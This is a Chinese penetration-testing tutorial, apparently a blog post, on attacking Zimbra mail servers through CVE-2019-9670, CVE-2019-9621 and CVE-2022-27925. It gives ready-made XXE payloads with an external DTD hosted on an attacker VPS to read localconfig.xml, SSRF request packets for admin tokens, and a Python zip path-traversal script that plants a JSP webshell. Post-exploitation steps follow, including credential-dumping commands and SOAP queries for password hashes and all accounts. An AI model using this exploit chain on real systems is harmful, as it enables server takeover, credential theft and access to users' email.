本文主要是对zimbra历史漏洞的利用以及后渗透方面介绍,不涉及对漏洞源码具体分析,有兴趣的师傅可以自行调试源码。
Zimbra提供一套开源协同办公套件包括WebMail,日历,通信录,Web文档管理和创作。它最大的特色在于其采用Ajax技术模仿CS桌面应用软件的风格开发的客户端兼容Firefox,Safari和IE浏览器。
zimbra有几个比较好用的漏洞分别是CVE-2019-9670,CVE-2019-9621以及最新出的CVE-2022-27925,本编文章着重介绍CVE-2019-9670,CVE-2019-9621组合利用与CVE-2022-27925以及getshell后一些后渗透利用的方法。
-
XXE读取密码
请求/Autodiscover/Autodiscover.xml
,
如果可以正常访问并且没有报404,那么多半存在CVE-2019-9670漏洞
CVE-2019-9670
主要的作用是为后续的渗透过程中获取AdminToken
请求Content-Type需设置为application/xml
,否则可能无法解析
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<Autodiscover xmlns="<http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a>">
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
</Request>
</Autodiscover>
此处我们需要读取的关键文件是/opt/zimbra/conf/localconfig.xml
,此文件是zimbra的配置文件,存储了ldap密码,mysql密码加密结果等高价值信息
由于localconfig.xml为XML文件,需要加上CDATA标签才能作为文本读取,XXE不能内部实体进行拼接,在VPS上启用外部DTD
evil.dtd
<!ENTITY % file SYSTEM "file:../conf/localconfig.xml">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">
POC数据包
<!DOCTYPE Autodiscover [
<!ENTITY % dtd SYSTEM "<http://VPS/evil.dtd>">
%dtd;
%all;
]>
<Autodiscover xmlns="<http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a>">
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
</Request>
</Autodiscover>
如果遇到Body cannot be parsed
这种情况,大概率是因为目标无法访问VPS,换一台VPS即可
下图为验证成功截图
现在我们需要用到的其实就只有一个key:ldap_password
获取到用户名与密码后,可以通过soap接口获取低权限token
Zimbra soap协议文档
Admin SOAP API – https://zimbra.example.com/service/wsdl/ZimbraAdminService.wsdl
User SOAP API – https://zimbra.example.com/service/wsdl/ZimbraUserService.wsdl
Full SOAP API – https://zimbra.example.com/service/wsdl/ZimbraService.wsdl
有兴趣的师傅可以执行深入研究,此处不作具体分析
获取低权限TokenPOC数据包
POST /service/soap HTTP/1.1
Host:
Content-Length: 465
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: */*
Connection: close
<soap:Envelope xmlns:soap="<http://www.w3.org/2003/05/soap-envelope>">
<soap:Header>
<context xmlns="urn:zimbra">
<userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
</context>
</soap:Header>
<soap:Body>
<AuthRequest xmlns="urn:zimbraAccount">
<account by="adminName">zimbra</account>
<password>wH4PB24Lkl</password>
</AuthRequest>
</soap:Body>
</soap:Envelope>
password为利用XXE漏洞所读取的ldap_password
-
通过CVE-2019-9621获取高权限Token
POC数据包
host需要加上端口7071
POST /service/proxy?target=https://127.0.0.1:7071/service/admin/soap HTTP/1.1
Host: :7071
Content-Length: 463
Cookie: ZM_ADMIN_AUTH_TOKEN=0_bffefcbe541420e7d2d5fb11c7898892fb646ba4_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313635383937383130303539323b747970653d363a7a696d6272613b7469643d31303a313536303933323938333b;
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/xml
Connection: close
<soap:Envelope xmlns:soap="<http://www.w3.org/2003/05/soap-envelope>">
<soap:Header>
<context xmlns="urn:zimbra">
<userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
</context>
</soap:Header>
<soap:Body>
<AuthRequest xmlns="urn:zimbraAdmin">
<account by="adminName">zimbra</account>
<password>wH4PB24Lkl</password>
</AuthRequest>
</soap:Body>
</soap:Envelope>
-
通过AdminToken上传文件GetShell
当响应数据包返回的onload的属性值为window.parent._uploadManager.loaded(1,'null');
时即为上传成功,默认上传的存储路径为/opt/zimbra/jetty/webapps/zimbra/downloads(此时访问Webshell仍需要AdminToken)
3.2 CVE-2022-27925
-
创建压缩包
import zipfile
import io
JSP_SHELL = '''
test
'''
zipFileBuf = io.BytesIO()
f = zipfile.ZipFile(zipFileBuf, 'w')
f.writestr('../../../../mailboxd/webapps/zimbraAdmin/test.jsp', JSP_SHELL) # 对应路径为/opt/zimbra/jetty_base/webapps/zimbraAdmin/test.jsp
f.close()
payload = zipFileBuf.getvalue()
-
上传shell
向/service/extension/backup/mboximport?account-name=admin&account-status=1&ow=cmd
发送payload
,响应状态码为401
且/zimbraAdmin/test.jsp
返回test
即上传成功
获得连接LDAP服务器的用户名和口令
/opt/zimbra/bin/zmlocalconfig -s |grep zimbra_ldap
获得连接MySQL数据库的用户名和口令
/opt/zimbra/bin/zmlocalconfig -s | grep mysql
AdminToken
在获取到AdminToken后,我们可以借助SoupApi完成很多操作,比如新增用户,获取所有用户及其联系人,所有用户的临时token,借用此token我们可伪造其身份登录Zimbra系统获取邮件等
-
SoupApi之GetLDAPEntriesRequest
说明文档:(https://files.zimbra.com/docs/soap_api/8.8.15/api-reference/zimbraAdmin/GetLDAPEntries.html)
此命令可获得用户邮箱和对应密码的hash
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Header>
<context xmlns="urn:zimbra">
<authToken>{token}</authToken>
</context>
</soap:Header>
<soap:Body>
<GetLDAPEntriesRequest xmlns="urn:zimbraAdmin">
<query>cn=*</query>
<ldapSearchBase>{ldapSearchBase}</ldapSearchBase>
</GetLDAPEntriesRequest>
</soap:Body>
</soap:Envelope>
ldapSearchBase类似于ldap地址,如ldap://mail.zimbra.com:389对应的ldapSearchBase就是dc=zimbra,dc=com
ldap地址我们同样可以在localconfig.xml中读取到
-
SoupApi之GetAllAccountsRequest
说明文档:(https://files.zimbra.com/docs/soap_api/8.8.15/api-reference/zimbraAdmin/GetAllAccounts.html)
此命令可以获得所有用户的邮箱及对应的ID
<soap:Envelope xmlns:soap="<http://www.w3.org/2003/05/soap-envelope>">
<soap:Header>
<context xmlns="urn:zimbra">
<authToken>{token}</authToken>
</context>
</soap:Header>
<soap:Body>
<GetAllAccountsRequest xmlns="urn:zimbraAdmin">
</GetAllAccountsRequest>
</soap:Body>
</soap:Envelope>
此条命令只需要提供AdminToken即可
根据Quake平台测绘数据显示,在数据去重、排除蜜罐与CDN后,全球Zimbra站点共有 87467个独立IP,IP数量全球前五的国家分别是波兰(24018)、美国(21251)、巴西(13135)、德国(11946)和法国(11846)
国内使用最多的省市分别是香港(4678)、台湾省(1738)、北京市(755)、广东省(577)与上海市(387)
欢迎进群
添加管理员微信号:quake_360
备注:进群 邀请您加入 QUAKE交流群~